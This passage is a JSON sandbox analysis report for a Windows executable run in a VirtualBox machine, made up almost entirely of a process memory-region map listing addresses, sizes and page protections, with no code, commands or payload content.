```
{"info":{"added":1700309436.279756,"started":1700309490.533496,"duration":134,"ended":170
0309625.155229,"owner":null,"score":6,"id":22,"category":"file","git":{"head":"13cbe0d9e457be3
673304533043e992ead1ea9b2","fetch_head":"13cbe0d9e457be3673304533043e992ead1ea9b
2"},"monitor":"2deb9ccd75d5a7a3fe05b2625b03a8639d6ee36b","package":"exe","route":"none"
,"custom":null,"machine":{"status":"stopped","name":"192.168.56.1011","label":"192.168.56.101
1","manager":"VirtualBox","started_on":"2023-11-18 12:11:30","shutdown_on":"2023-11-18
12:13:45"},"platform":"windows","version":"2.0.7","options":"procmemdump=yes,route=none"},"p
rocmemory":[{"regions":[{"protect":"rw","end":"0x00020000","addr":"0x00010000","state":4096,"o
ffset":24,"type":262144,"size":65536},{"protect":"rw","end":"0x00021000","addr":"0x00020000","s
tate":4096,"offset":65584,"type":131072,"size":4096},{"protect":"rw","end":"0x00031000","addr":"
0x00030000","state":4096,"offset":69704,"type":131072,"size":4096},{"protect":"r","end":"0x0004
1000","addr":"0x00040000","state":4096,"offset":73824,"type":16777216,"size":4096},{"protect":"
r","end":"0x00054000","addr":"0x00050000","state":4096,"offset":77944,"type":262144,"size":16
384},{"protect":"rw","end":"0x00061000","addr":"0x00060000","state":4096,"offset":94352,"type":
131072,"size":4096},{"protect":"rwx","end":"0x00071000","addr":"0x00070000","state":4096,"offs
et":98472,"type":131072,"size":4096},{"protect":"rwx","end":"0x00081000","addr":"0x00080000",
"state":4096,"offset":102592,"type":131072,"size":4096},{"protect":"rwx","end":"0x00091000","ad
dr":"0x00090000","state":4096,"offset":106712,"type":131072,"size":4096},{"protect":"rx","end":"
0x000a1000","addr":"0x000a0000","state":4096,"offset":110832,"type":131072,"size":4096},{"pr
otect":"rw","end":"0x000b1000","addr":"0x000b0000","state":4096,"offset":114952,"type":131072
,"size":4096},{"protect":"rw","end":"0x000c1000","addr":"0x000c0000","state":4096,"offset":1190
72,"type":131072,"size":4096},{"protect":"rw","end":"0x000d1000","addr":"0x000d0000","state":4
096,"offset":123192,"type":131072,"size":4096},{"protect":"rw","end":"0x001e0000","addr":"0x00
1da000","state":4096,"offset":127312,"type":131072,"size":24576},{"protect":"rw","end":"0x001e
1000","addr":"0x001e0000","state":4096,"offset":151912,"type":131072,"size":4096},{"protect":"r
w","end":"0x00230000","addr":"0x0022a000","state":4096,"offset":156032,"type":131072,"size":2
4576},{"protect":"r","end":"0x00297000","addr":"0x00230000","state":4096,"offset":180632,"type"
:262144,"size":421888},{"protect":"rw","end":"0x002a4000","addr":"0x002a0000","state":4096,"of
fset":602544,"type":131072,"size":16384},{"protect":"rw","end":"0x002b4000","addr":"0x002b000
0","state":4096,"offset":618952,"type":131072,"size":16384},{"protect":"rw","end":"0x002d0000","
addr":"0x002c0000","state":4096,"offset":635360,"type":131072,"size":65536},{"protect":"rwx","e
nd":"0x002d8000","addr":"0x002d0000","state":4096,"offset":700920,"type":131072,"size":32768
},{"protect":"rw","end":"0x002e1000","addr":"0x002e0000","state":4096,"offset":733712,"type":13
1072,"size":4096},{"protect":"rw","end":"0x002f1000","addr":"0x002f0000","state":4096,"offset":7
37832,"type":131072,"size":4096},{"protect":"rwx","end":"0x00308000","addr":"0x00300000","sta
te":4096,"offset":741952,"type":131072,"size":32768},{"protect":"rw","end":"0x00311000","addr":
"0x00310000","state":4096,"offset":774744,"type":131072,"size":4096},{"protect":"rwx","end":"0x
00321000","addr":"0x00320000","state":4096,"offset":778864,"type":131072,"size":4096},{"prote
ct":"rwx","end":"0x00338000","addr":"0x00330000","state":4096,"offset":782984,"type":131072,"
size":32768},{"protect":"rw","end":"0x0034a000","addr":"0x00340000","state":4096,"offset":8157
76,"type":131072,"size":40960},{"protect":"rw","end":"0x00360000","addr":"0x00350000","state":
4096,"offset":856760,"type":131072,"size":65536},{"protect":"rwx","end":"0x00361000","addr":"0
x00360000","state":4096,"offset":922320,"type":131072,"size":4096},{"protect":"rw","end":"0x00
371000","addr":"0x00370000","state":4096,"offset":926440,"type":131072,"size":4096},{"protect"
:"rwx","end":"0x003a1000","addr":"0x00380000","state":4096,"offset":930560,"type":131072,"siz
e":135168},{"protect":"rw","end":"0x003c0000","addr":"0x003b0000","state":4096,"offset":10657
52,"type":131072,"size":65536},{"protect":"rw","end":"0x003d0000","addr":"0x003c0000","state":
4096,"offset":1131312,"type":131072,"size":65536},{"protect":"rw","end":"0x003d1000","addr":"0
x003d0000","state":4096,"offset":1196872,"type":262144,"size":4096},{"protect":"rw","end":"0x0
03f7000","addr":"0x003e0000","state":4096,"offset":1200992,"type":131072,"size":94208},{"prot
```

ect":"r","end":"0x00463000","addr":"0x00460000","state":4096,"offset":1295224,"type":262144,"
size":12288},{"protect":"r","end":"0x005e3000","addr":"0x005e0000","state":4096,"offset":13075
36,"type":262144,"size":12288},{"protect":"rw","end":"0x005f1000","addr":"0x005f0000","state":4
096,"offset":1319848,"type":262144,"size":4096},{"protect":"rw","end":"0x00601000","addr":"0x0
0600000","state":4096,"offset":1323968,"type":131072,"size":4096},{"protect":"rw","end":"0x006
a2000","addr":"0x00610000","state":4096,"offset":1328088,"type":131072,"size":598016},{"prote
ct":"r","end":"0x00891000","addr":"0x00710000","state":4096,"offset":1926128,"type":262144,"si
ze":1576960},{"protect":"rw","end":"0x008e0000","addr":"0x008dc000","state":4096,"offset":3503
112,"type":131072,"size":16384},{"protect":"rw","end":"0x008e1000","addr":"0x008e0000","state
":4096,"offset":3519520,"type":131072,"size":4096},{"protect":"rwx","end":"0x0092b000","addr":"
0x008f0000","state":4096,"offset":3523640,"type":16777216,"size":241664},{"protect":"r","end":"
0x00948000","addr":"0x00930000","state":4096,"offset":3765328,"type":262144,"size":98304},{"
protect":"r","end":"0x01e0f000","addr":"0x01d30000","state":4096,"offset":3863656,"type":26214
4,"size":913408},{"protect":"rw","end":"0x01e11000","addr":"0x01e10000","state":4096,"offset":4
777088,"type":131072,"size":4096},{"protect":"rw","end":"0x01e37000","addr":"0x01e20000","sta
te":4096,"offset":4781208,"type":131072,"size":94208},{"protect":"rw","end":"0x01e70000","addr"
:"0x01e60000","state":4096,"offset":4875440,"type":131072,"size":65536},{"protect":"r","end":"0x
01e71000","addr":"0x01e70000","state":4096,"offset":4941000,"type":262144,"size":4096},{"prot
ect":"rw","end":"0x01e81000","addr":"0x01e80000","state":4096,"offset":4945120,"type":131072,
"size":4096},{"protect":"rw","end":"0x01e91000","addr":"0x01e90000","state":4096,"offset":4949
240,"type":131072,"size":4096},{"protect":"r","end":"0x01ea1000","addr":"0x01ea0000","state":4
096,"offset":4953360,"type":262144,"size":4096},{"protect":"rw","end":"0x01eb1000","addr":"0x0
1eb0000","state":4096,"offset":4957480,"type":131072,"size":4096},{"protect":"rw","end":"0x01e
c1000","addr":"0x01ec0000","state":4096,"offset":4961600,"type":131072,"size":4096},{"protect":
"rw","end":"0x01ee0000","addr":"0x01ed0000","state":4096,"offset":4965720,"type":131072,"siz
e":65536},{"protect":"rw","end":"0x01ee1000","addr":"0x01ee0000","state":4096,"offset":503128
0,"type":131072,"size":4096},{"protect":"rw","end":"0x01ef1000","addr":"0x01ef0000","state":409
6,"offset":5035400,"type":131072,"size":4096},{"protect":"r","end":"0x01f02000","addr":"0x01f00
000","state":4096,"offset":5039520,"type":262144,"size":8192},{"protect":"rw","end":"0x01f50000
","addr":"0x01f4c000","state":4096,"offset":5047736,"type":131072,"size":16384},{"protect":"rwc"
,"end":"0x01f51000","addr":"0x01f50000","state":4096,"offset":5064144,"type":262144,"size":40
96},{"protect":"r","end":"0x01f62000","addr":"0x01f60000","state":4096,"offset":5068264,"type":2
62144,"size":8192},{"protect":"rw","end":"0x02070000","addr":"0x0206e000","state":4096,"offset
":5076480,"type":131072,"size":8192},{"protect":"rw","end":"0x020c6000","addr":"0x02070000","
state":4096,"offset":5084696,"type":131072,"size":352256},{"protect":"rw","end":"0x021b0000","
addr":"0x021ae000","state":4096,"offset":5436976,"type":131072,"size":8192},{"protect":"rwc","e
nd":"0x021b1000","addr":"0x021b0000","state":4096,"offset":5445192,"type":262144,"size":4096
},{"protect":"rw","end":"0x02210000","addr":"0x0220c000","state":4096,"offset":5449312,"type":1
31072,"size":16384},{"protect":"rw","end":"0x02211000","addr":"0x02210000","state":4096,"offse
t":5465720,"type":131072,"size":4096},{"protect":"rw","end":"0x022e0000","addr":"0x022de000",
"state":4096,"offset":5469840,"type":131072,"size":8192},{"protect":"rw","end":"0x02313000","ad
dr":"0x02310000","state":4096,"offset":5478056,"type":131072,"size":12288},{"protect":"rw","end
":"0x02420000","addr":"0x0241f000","state":4096,"offset":5490368,"type":131072,"size":4096},{"
protect":"r","end":"0x026ef000","addr":"0x02420000","state":4096,"offset":5494488,"type":26214
4,"size":2945024},{"protect":"rw","end":"0x02760000","addr":"0x0275c000","state":4096,"offset":
8439536,"type":131072,"size":16384},{"protect":"rw","end":"0x027b0000","addr":"0x027ac000","
state":4096,"offset":8455944,"type":131072,"size":16384},{"protect":"rw","end":"0x027d1000","a
ddr":"0x027d0000","state":4096,"offset":8472352,"type":131072,"size":4096},{"protect":"rw","end
":"0x02880000","addr":"0x0287c000","state":4096,"offset":8476472,"type":131072,"size":16384},
{"protect":"rw","end":"0x028e0000","addr":"0x028dc000","state":4096,"offset":8492880,"type":13

1072,"size":16384},{"protect":"rw","end":"0x028fc000","addr":"0x028e0000","state":4096,"offset":
8509288,"type":131072,"size":114688},{"protect":"rw","end":"0x02980000","addr":"0x0297e000",
"state":4096,"offset":8624000,"type":131072,"size":8192},{"protect":"rw","end":"0x029d0000","ad
dr":"0x029ce000","state":4096,"offset":8632216,"type":131072,"size":8192},{"protect":"rw","end":
"0x029e3000","addr":"0x029e0000","state":4096,"offset":8640432,"type":131072,"size":12288},{
"protect":"rw","end":"0x02a60000","addr":"0x02a5e000","state":4096,"offset":8652744,"type":13
1072,"size":8192},{"protect":"rw","end":"0x02b13000","addr":"0x02b10000","state":4096,"offset":
8660960,"type":131072,"size":12288},{"protect":"r","end":"0x73931000","addr":"0x73930000","st
ate":4096,"offset":8673272,"type":16777216,"size":4096},{"protect":"rx","end":"0x73943000","ad
dr":"0x73931000","state":4096,"offset":8677392,"type":16777216,"size":73728},{"protect":"rw","e
nd":"0x73944000","addr":"0x73943000","state":4096,"offset":8751144,"type":16777216,"size":40
96},{"protect":"r","end":"0x73946000","addr":"0x73944000","state":4096,"offset":8755264,"type":
16777216,"size":8192},{"protect":"r","end":"0x73a01000","addr":"0x73a00000","state":4096,"offs
et":8763480,"type":16777216,"size":4096},{"protect":"rx","end":"0x73a04000","addr":"0x73a0100
0","state":4096,"offset":8767600,"type":16777216,"size":12288},{"protect":"rw","end":"0x73a050
00","addr":"0x73a04000","state":4096,"offset":8779912,"type":16777216,"size":4096},{"protect":"
r","end":"0x73a08000","addr":"0x73a05000","state":4096,"offset":8784032,"type":16777216,"siz
e":12288},{"protect":"r","end":"0x73a11000","addr":"0x73a10000","state":4096,"offset":8796344,
"type":16777216,"size":4096},{"protect":"rx","end":"0x73a5e000","addr":"0x73a11000","state":40
96,"offset":8800464,"type":16777216,"size":315392},{"protect":"rw","end":"0x73a5f000","addr":"0
x73a5e000","state":4096,"offset":9115880,"type":16777216,"size":4096},{"protect":"rwc","end":"
0x73a62000","addr":"0x73a5f000","state":4096,"offset":9120000,"type":16777216,"size":12288},
{"protect":"rw","end":"0x73a63000","addr":"0x73a62000","state":4096,"offset":9132312,"type":16
777216,"size":4096},{"protect":"r","end":"0x73a6c000","addr":"0x73a63000","state":4096,"offset"
:9136432,"type":16777216,"size":36864},{"protect":"r","end":"0x73a71000","addr":"0x73a70000"
,"state":4096,"offset":9173320,"type":16777216,"size":4096},{"protect":"rx","end":"0x73aa9000","
addr":"0x73a71000","state":4096,"offset":9177440,"type":16777216,"size":229376},{"protect":"rw
","end":"0x73aab000","addr":"0x73aa9000","state":4096,"offset":9406840,"type":16777216,"size
":8192},{"protect":"r","end":"0x73aaf000","addr":"0x73aab000","state":4096,"offset":9415056,"typ
e":16777216,"size":16384},{"protect":"r","end":"0x74441000","addr":"0x74440000","state":4096,"
offset":9431464,"type":16777216,"size":4096},{"protect":"rx","end":"0x74443000","addr":"0x7444
1000","state":4096,"offset":9435584,"type":16777216,"size":8192},{"protect":"rw","end":"0x7444
4000","addr":"0x74443000","state":4096,"offset":9443800,"type":16777216,"size":4096},{"protec
t":"r","end":"0x74446000","addr":"0x74444000","state":4096,"offset":9447920,"type":16777216,"
size":8192},{"protect":"r","end":"0x74451000","addr":"0x74450000","state":4096,"offset":945613
6,"type":16777216,"size":4096},{"protect":"rx","end":"0x74484000","addr":"0x74451000","state":
4096,"offset":9460256,"type":16777216,"size":208896},{"protect":"rw","end":"0x74485000","addr
":"0x74484000","state":4096,"offset":9669176,"type":16777216,"size":4096},{"protect":"r","end":"
0x74488000","addr":"0x74485000","state":4096,"offset":9673296,"type":16777216,"size":12288}
,{"protect":"r","end":"0x74491000","addr":"0x74490000","state":4096,"offset":9685608,"type":167
77216,"size":4096},{"protect":"rx","end":"0x744c9000","addr":"0x74491000","state":4096,"offset"
:9689728,"type":16777216,"size":229376},{"protect":"rw","end":"0x744cb000","addr":"0x744c900
0","state":4096,"offset":9919128,"type":16777216,"size":8192},{"protect":"rwc","end":"0x744cc00
0","addr":"0x744cb000","state":4096,"offset":9927344,"type":16777216,"size":4096},{"protect":"r"
,"end":"0x744d4000","addr":"0x744cc000","state":4096,"offset":9931464,"type":16777216,"size":
32768},{"protect":"r","end":"0x744e1000","addr":"0x744e0000","state":4096,"offset":9964256,"ty
pe":16777216,"size":4096},{"protect":"rx","end":"0x744ea000","addr":"0x744e1000","state":4096
,"offset":9968376,"type":16777216,"size":36864},{"protect":"rw","end":"0x744eb000","addr":"0x7
44ea000","state":4096,"offset":10005264,"type":16777216,"size":4096},{"protect":"r","end":"0x74
4ed000","addr":"0x744eb000","state":4096,"offset":10009384,"type":16777216,"size":8192},{"pr

otect":"r","end":"0x744f1000","addr":"0x744f0000","state":4096,"offset":10017600,"type":167772
16,"size":4096},{"protect":"rx","end":"0x74502000","addr":"0x744f1000","state":4096,"offset":100
21720,"type":16777216,"size":69632},{"protect":"rw","end":"0x74503000","addr":"0x74502000","
state":4096,"offset":10091376,"type":16777216,"size":4096},{"protect":"r","end":"0x74505000","a
ddr":"0x74503000","state":4096,"offset":10095496,"type":16777216,"size":8192},{"protect":"r","e
nd":"0x74511000","addr":"0x74510000","state":4096,"offset":10103712,"type":16777216,"size":4
096},{"protect":"rx","end":"0x7455c000","addr":"0x74511000","state":4096,"offset":10107832,"ty
pe":16777216,"size":307200},{"protect":"rw","end":"0x7455d000","addr":"0x7455c000","state":40
96,"offset":10415056,"type":16777216,"size":4096},{"protect":"rwc","end":"0x7455e000","addr":"
0x7455d000","state":4096,"offset":10419176,"type":16777216,"size":4096},{"protect":"r","end":"0
x74562000","addr":"0x7455e000","state":4096,"offset":10423296,"type":16777216,"size":16384}
,{"protect":"r","end":"0x74571000","addr":"0x74570000","state":4096,"offset":10439704,"type":16
777216,"size":4096},{"protect":"rx","end":"0x74572000","addr":"0x74571000","state":4096,"offset
":10443824,"type":16777216,"size":4096},{"protect":"r","end":"0x74574000","addr":"0x74572000
","state":4096,"offset":10447944,"type":16777216,"size":8192},{"protect":"r","end":"0x74581000",
"addr":"0x74580000","state":4096,"offset":10456160,"type":16777216,"size":4096},{"protect":"rx"
,"end":"0x7458b000","addr":"0x74581000","state":4096,"offset":10460280,"type":16777216,"size
":40960},{"protect":"rw","end":"0x7458c000","addr":"0x7458b000","state":4096,"offset":1050126
4,"type":16777216,"size":4096},{"protect":"r","end":"0x7458e000","addr":"0x7458c000","state":4
096,"offset":10505384,"type":16777216,"size":8192},{"protect":"r","end":"0x74591000","addr":"0
x74590000","state":4096,"offset":10513600,"type":16777216,"size":4096},{"protect":"rx","end":"0
x74594000","addr":"0x74591000","state":4096,"offset":10517720,"type":16777216,"size":12288}
,{"protect":"rw","end":"0x74595000","addr":"0x74594000","state":4096,"offset":10530032,"type":
16777216,"size":4096},{"protect":"r","end":"0x74597000","addr":"0x74595000","state":4096,"offs
et":10534152,"type":16777216,"size":8192},{"protect":"r","end":"0x745a1000","addr":"0x745a00
00","state":4096,"offset":10542368,"type":16777216,"size":4096},{"protect":"rx","end":"0x745b90
00","addr":"0x745a1000","state":4096,"offset":10546488,"type":16777216,"size":98304},{"protec
t":"rw","end":"0x745ba000","addr":"0x745b9000","state":4096,"offset":10644816,"type":1677721
6,"size":4096},{"protect":"r","end":"0x745bc000","addr":"0x745ba000","state":4096,"offset":1064
8936,"type":16777216,"size":8192},{"protect":"r","end":"0x745c1000","addr":"0x745c0000","state
":4096,"offset":10657152,"type":16777216,"size":4096},{"protect":"rx","end":"0x745c3000","addr"
:"0x745c1000","state":4096,"offset":10661272,"type":16777216,"size":8192},{"protect":"rw","end
":"0x745c4000","addr":"0x745c3000","state":4096,"offset":10669488,"type":16777216,"size":409
6},{"protect":"r","end":"0x745c6000","addr":"0x745c4000","state":4096,"offset":10673608,"type":
16777216,"size":8192},{"protect":"r","end":"0x745d1000","addr":"0x745d0000","state":4096,"offs
et":10681824,"type":16777216,"size":4096},{"protect":"rx","end":"0x745d2000","addr":"0x745d10
00","state":4096,"offset":10685944,"type":16777216,"size":4096},{"protect":"r","end":"0x745d400
0","addr":"0x745d2000","state":4096,"offset":10690064,"type":16777216,"size":8192},{"protect":"
r","end":"0x745e1000","addr":"0x745e0000","state":4096,"offset":10698280,"type":16777216,"si
ze":4096},{"protect":"rx","end":"0x745e8000","addr":"0x745e1000","state":4096,"offset":1070240
0,"type":16777216,"size":28672},{"protect":"rw","end":"0x745e9000","addr":"0x745e8000","state
":4096,"offset":10731096,"type":16777216,"size":4096},{"protect":"r","end":"0x745eb000","addr":
"0x745e9000","state":4096,"offset":10735216,"type":16777216,"size":8192},{"protect":"r","end":"
0x745f1000","addr":"0x745f0000","state":4096,"offset":10743432,"type":16777216,"size":4096},{
"protect":"rx","end":"0x745f5000","addr":"0x745f1000","state":4096,"offset":10747552,"type":167
77216,"size":16384},{"protect":"rw","end":"0x745f6000","addr":"0x745f5000","state":4096,"offset
":10763960,"type":16777216,"size":4096},{"protect":"r","end":"0x745f8000","addr":"0x745f6000",
"state":4096,"offset":10768080,"type":16777216,"size":8192},{"protect":"r","end":"0x74601000","
addr":"0x74600000","state":4096,"offset":10776296,"type":16777216,"size":4096},{"protect":"rx",
"end":"0x74606000","addr":"0x74601000","state":4096,"offset":10780416,"type":16777216,"size

":20480},{"protect":"rw","end":"0x74607000","addr":"0x74606000","state":4096,"offset":10800920,"type":16777216,"size":4096},{"protect":"r","end":"0x74609000","addr":"0x74607000","state":4096,"offset":10805040,"type":16777216,"size":8192},{"protect":"r","end":"0x74611000","addr":"0x74610000","state":4096,"offset":10813256,"type":16777216,"size":4096},{"protect":"rx","end":"0x74616000","addr":"0x74611000","state":4096,"offset":10817376,"type":16777216,"size":20480},{"protect":"rw","end":"0x74617000","addr":"0x74616000","state":4096,"offset":10837880,"type":16777216,"size":4096},{"protect":"r","end":"0x74619000","addr":"0x74617000","state":4096,"offset":10842000,"type":16777216,"size":8192},{"protect":"r","end":"0x74621000","addr":"0x74620000","state":4096,"offset":10850216,"type":16777216,"size":4096},{"protect":"rx","end":"0x7462c000","addr":"0x74621000","state":4096,"offset":10854336,"type":16777216,"size":45056},{"protect":"rw","end":"0x7462d000","addr":"0x7462c000","state":4096,"offset":10899416,"type":16777216,"size":4096},{"protect":"r","end":"0x7462f000","addr":"0x7462d000","state":4096,"offset":10903536,"type":16777216,"size":8192},{"protect":"r","end":"0x74631000","addr":"0x74630000","state":4096,"offset":10911752,"type":16777216,"size":4096},{"protect":"rx","end":"0x7463e000","addr":"0x74631000","state":4096,"offset":10915872,"type":16777216,"size":53248},{"protect":"rw","end":"0x74643000","addr":"0x7463e000","state":4096,"offset":10969144,"type":16777216,"size":20480},{"protect":"rwc","end":"0x74647000","addr":"0x74643000","state":4096,"offset":10989648,"type":16777216,"size":16384},{"protect":"r","end":"0x74649000","addr":"0x74647000","state":4096,"offset":11006056,"type":16777216,"size":8192},{"protect":"r","end":"0x74651000","addr":"0x74650000","state":4096,"offset":11014272,"type":16777216,"size":4096},{"protect":"rx","end":"0x7465c000","addr":"0x74651000","state":4096,"offset":11018392,"type":16777216,"size":45056},{"protect":"rw","end":"0x7465d000","addr":"0x7465c000","state":4096,"offset":11063472,"type":16777216,"size":4096},{"protect":"r","end":"0x7465f000","addr":"0x7465d000","state":4096,"offset":11067592,"type":16777216,"size":8192},{"protect":"r","end":"0x74661000","addr":"0x74660000","state":4096,"offset":11075808,"type":16777216,"size":4096},{"protect":"rx","end":"0x7466e000","addr":"0x74661000","state":4096,"offset":11079928,"type":16777216,"size":53248},{"protect":"rw","end":"0x7466f000","addr":"0x7466e000","state":4096,"offset":11133200,"type":16777216,"size":4096},{"protect":"r","end":"0x74671000","addr":"0x7466f000","state":4096,"offset":11137320,"type":16777216,"size":8192},{"protect":"r","end":"0x74681000","addr":"0x74680000","state":4096,"offset":11145536,"type":16777216,"size":4096},{"protect":"rx","end":"0x7468f000","addr":"0x74681000","state":4096,"offset":11149656,"type":16777216,"size":57344},{"protect":"rw","end":"0x74690000","addr":"0x7468f000","state":4096,"offset":11207024,"type":16777216,"size":4096},{"protect":"r","end":"0x74692000","addr":"0x74690000","state":4096,"offset":11211144,"type":16777216,"size":8192},{"protect":"r","end":"0x746a1000","addr":"0x746a0000","state":4096,"offset":11219360,"type":16777216,"size":4096},{"protect":"rx","end":"0x746da000","addr":"0x746a1000","state":4096,"offset":11223480,"type":16777216,"size":233472},{"protect":"rwc","end":"0x746e1000","addr":"0x746da000","state":4096,"offset":11456976,"type":16777216,"size":28672},{"protect":"rw","end":"0x746e8000","addr":"0x746e1000","state":4096,"offset":11485672,"type":16777216,"size":28672},{"protect":"rwc","end":"0x746ea000","addr":"0x746e8000","state":4096,"offset":11514368,"type":16777216,"size":8192},{"protect":"rw","end":"0x746eb000","addr":"0x746ea000","state":4096,"offset":11522584,"type":16777216,"size":4096},{"protect":"rwc","end":"0x746ff000","addr":"0x746eb000","state":4096,"offset":11526704,"type":16777216,"size":81920},{"protect":"rw","end":"0x74700000","addr":"0x746ff000","state":4096,"offset":11608648,"type":16777216,"size":4096},{"protect":"r","end":"0x74737000","addr":"0x74700000","state":4096,"offset":11612768,"type":16777216,"size":225280},{"protect":"rw","end":"0x74738000","addr":"0x74737000","state":4096,"offset":11838072,"type":16777216,"size":4096},{"protect":"rwc","end":"0x7473b000","addr":"0x74738000","state":4096,"offset":11842192,"type":16777216,"size":12288},{"protect":"rw","end":"0x7474c000","addr":"0x7473b000","state":4096,"offset":11854504,"type":16777216,"size":69632},{"protect":"rwc","end":"0x7475b000","addr":"0x7474c000","state":4096,"offset":11924160,"type":16777216,"size":61440},{"protect":"rw","end":"0x747aa000","addr":"0x7475b000","state

":4096,"offset":11985624,"type":16777216,"size":323584},{"protect":"rwc","end":"0x74882000","
addr":"0x747aa000","state":4096,"offset":12309232,"type":16777216,"size":884736},{"protect":"r
w","end":"0x74884000","addr":"0x74882000","state":4096,"offset":13193992,"type":16777216,"si
ze":8192},{"protect":"rwc","end":"0x74892000","addr":"0x74884000","state":4096,"offset":132022
08,"type":16777216,"size":57344},{"protect":"rw","end":"0x74894000","addr":"0x74892000","stat
e":4096,"offset":13259576,"type":16777216,"size":8192},{"protect":"r","end":"0x7489c000","addr
":"0x74894000","state":4096,"offset":13267792,"type":16777216,"size":32768},{"protect":"rw","e
nd":"0x7489d000","addr":"0x7489c000","state":4096,"offset":13300584,"type":16777216,"size":4
096},{"protect":"rwc","end":"0x7489f000","addr":"0x7489d000","state":4096,"offset":13304704,"ty
pe":16777216,"size":8192},{"protect":"r","end":"0x748a5000","addr":"0x7489f000","state":4096,"
offset":13312920,"type":16777216,"size":24576},{"protect":"r","end":"0x748b1000","addr":"0x748
b0000","state":4096,"offset":13337520,"type":16777216,"size":4096},{"protect":"rx","end":"0x748
ba000","addr":"0x748b1000","state":4096,"offset":13341640,"type":16777216,"size":36864},{"pr
otect":"rw","end":"0x748bb000","addr":"0x748ba000","state":4096,"offset":13378528,"type":1677
7216,"size":4096},{"protect":"r","end":"0x748bd000","addr":"0x748bb000","state":4096,"offset":1
3382648,"type":16777216,"size":8192},{"protect":"r","end":"0x748c1000","addr":"0x748c0000","s
tate":4096,"offset":13390864,"type":16777216,"size":4096},{"protect":"rx","end":"0x748d5000","a
ddr":"0x748c1000","state":4096,"offset":13394984,"type":16777216,"size":81920},{"protect":"rw",
"end":"0x748d6000","addr":"0x748d5000","state":4096,"offset":13476928,"type":16777216,"size
":4096},{"protect":"rwc","end":"0x748d7000","addr":"0x748d6000","state":4096,"offset":1348104
8,"type":16777216,"size":4096},{"protect":"r","end":"0x748dc000","addr":"0x748d7000","state":4
096,"offset":13485168,"type":16777216,"size":20480},{"protect":"r","end":"0x748e1000","addr":"
0x748e0000","state":4096,"offset":13505672,"type":16777216,"size":4096},{"protect":"rx","end":"
0x748e6000","addr":"0x748e1000","state":4096,"offset":13509792,"type":16777216,"size":2048
0},{"protect":"rw","end":"0x748e7000","addr":"0x748e6000","state":4096,"offset":13530296,"type
":16777216,"size":4096},{"protect":"r","end":"0x748e9000","addr":"0x748e7000","state":4096,"off
set":13534416,"type":16777216,"size":8192},{"protect":"r","end":"0x748f1000","addr":"0x748f000
0","state":4096,"offset":13542632,"type":16777216,"size":4096},{"protect":"rx","end":"0x74a3c00
0","addr":"0x748f1000","state":4096,"offset":13546752,"type":16777216,"size":1355776},{"prote
ct":"rw","end":"0x74a3e000","addr":"0x74a3c000","state":4096,"offset":14902552,"type":167772
16,"size":8192},{"protect":"rwc","end":"0x74a3f000","addr":"0x74a3e000","state":4096,"offset":14
910768,"type":16777216,"size":4096},{"protect":"r","end":"0x74a8e000","addr":"0x74a3f000","st
ate":4096,"offset":14914888,"type":16777216,"size":323584},{"protect":"r","end":"0x74cc1000","
addr":"0x74cc0000","state":4096,"offset":15238496,"type":16777216,"size":4096},{"protect":"rx",
"end":"0x74d08000","addr":"0x74cd0000","state":4096,"offset":15242616,"type":16777216,"size"
:229376},{"protect":"rw","end":"0x74d11000","addr":"0x74d10000","state":4096,"offset":1547201
6,"type":16777216,"size":4096},{"protect":"rwc","end":"0x74d12000","addr":"0x74d11000","state"
:4096,"offset":15476136,"type":16777216,"size":4096},{"protect":"r","end":"0x74d22000","addr":"
0x74d20000","state":4096,"offset":15480256,"type":16777216,"size":8192},{"protect":"r","end":"0
x74d32000","addr":"0x74d30000","state":4096,"offset":15488472,"type":16777216,"size":8192},{
"protect":"r","end":"0x74d91000","addr":"0x74d90000","state":4096,"offset":15496688,"type":167
77216,"size":4096},{"protect":"rx","end":"0x74d92000","addr":"0x74d91000","state":4096,"offset"
:15500808,"type":16777216,"size":4096},{"protect":"rw","end":"0x74d93000","addr":"0x74d9200
0","state":4096,"offset":15504928,"type":16777216,"size":4096},{"protect":"r","end":"0x74d95000
","addr":"0x74d93000","state":4096,"offset":15509048,"type":16777216,"size":8192},{"protect":"r
","end":"0x74da1000","addr":"0x74da0000","state":4096,"offset":15517264,"type":16777216,"siz
e":4096},{"protect":"rx","end":"0x74dd6000","addr":"0x74da1000","state":4096,"offset":15521384
,"type":16777216,"size":217088},{"protect":"rw","end":"0x74dd7000","addr":"0x74dd6000","state
":4096,"offset":15738496,"type":16777216,"size":4096},{"protect":"rwc","end":"0x74dd8000","ad
dr":"0x74dd7000","state":4096,"offset":15742616,"type":16777216,"size":4096},{"protect":"r","en

```
d":"0x74ddc000","addr":"0x74dd8000","state":4096,"offset":15746736,"type":16777216,"size":16
384},{"protect":"r","end":"0x74de1000","addr":"0x74de0000","state":4096,"offset":15763144,"typ
e":16777216,"size":4096},{"protect":"rx","end":"0x74e15000","addr":"0x74de1000","state":4096,"
offset":15767264,"type":16777216,"size":212992},{"protect":"rw","end":"0x74e16000","addr":"0x
74e15000","state":4096,"offset":15980280,"type":16777216,"size":4096},{"protect":"rwc","end":"
0x74e17000","addr":"0x74e16000","state":4096,"offset":15984400,"type":16777216,"size":4096}
,{"protect":"rw","end":"0x74e18000","addr":"0x74e17000","state":4096,"offset":15988520,"type":
16777216,"size":4096},{"protect":"r","end":"0x74e1b000","addr":"0x74e18000","state":4096,"offs
et":15992640,"type":16777216,"size":12288},{"protect":"r","end":"0x74e41000","addr":"0x74e40
000","state":4096,"offset":16004952,"type":16777216,"size":4096},{"protect":"rx","end":"0x74e49
000","addr":"0x74e41000","state":4096,"offset":16009072,"type":16777216,"size":32768},{"prote
ct":"rw","end":"0x74e4a000","addr":"0x74e49000","state":4096,"offset":16041864,"type":167772
16,"size":4096},{"protect":"r","end":"0x74e4c000","addr":"0x74e4a000","state":4096,"offset":160
45984,"type":16777216,"size":8192},{"protect":"r","end":"0x74e51000","addr":"0x74e50000","sta
te":4096,"offset":16054200,"type":16777216,"size":4096},{"protect":"rx","end":"0x74e76000","ad
dr":"0x74e60000","state":4096,"offset":16058320,"type":16777216,"size":90112},{"protect":"rw","
end":"0x74e81000","addr":"0x74e80000","state":4096,"offset":16148456,"type":16777216,"size":
4096},{"protect":"r","end":"0x74e91000","addr":"0x74e90000","state":4096,"offset":16152576,"ty
pe":16777216,"size":4096},{"protect":"r","end":"0x74ea2000","addr":"0x74ea0000","state":4096,"
offset":16156696,"type":16777216,"size":8192},{"protect":"r","end":"0x74eb1000","addr":"0x74eb
0000","state":4096,"offset":16164912,"type":16777216,"size":4096},{"protect":"rx","end":"0x74f0
2000","addr":"0x74eb1000","state":4096,"offset":16169032,"type":16777216,"size":331776},{"pr
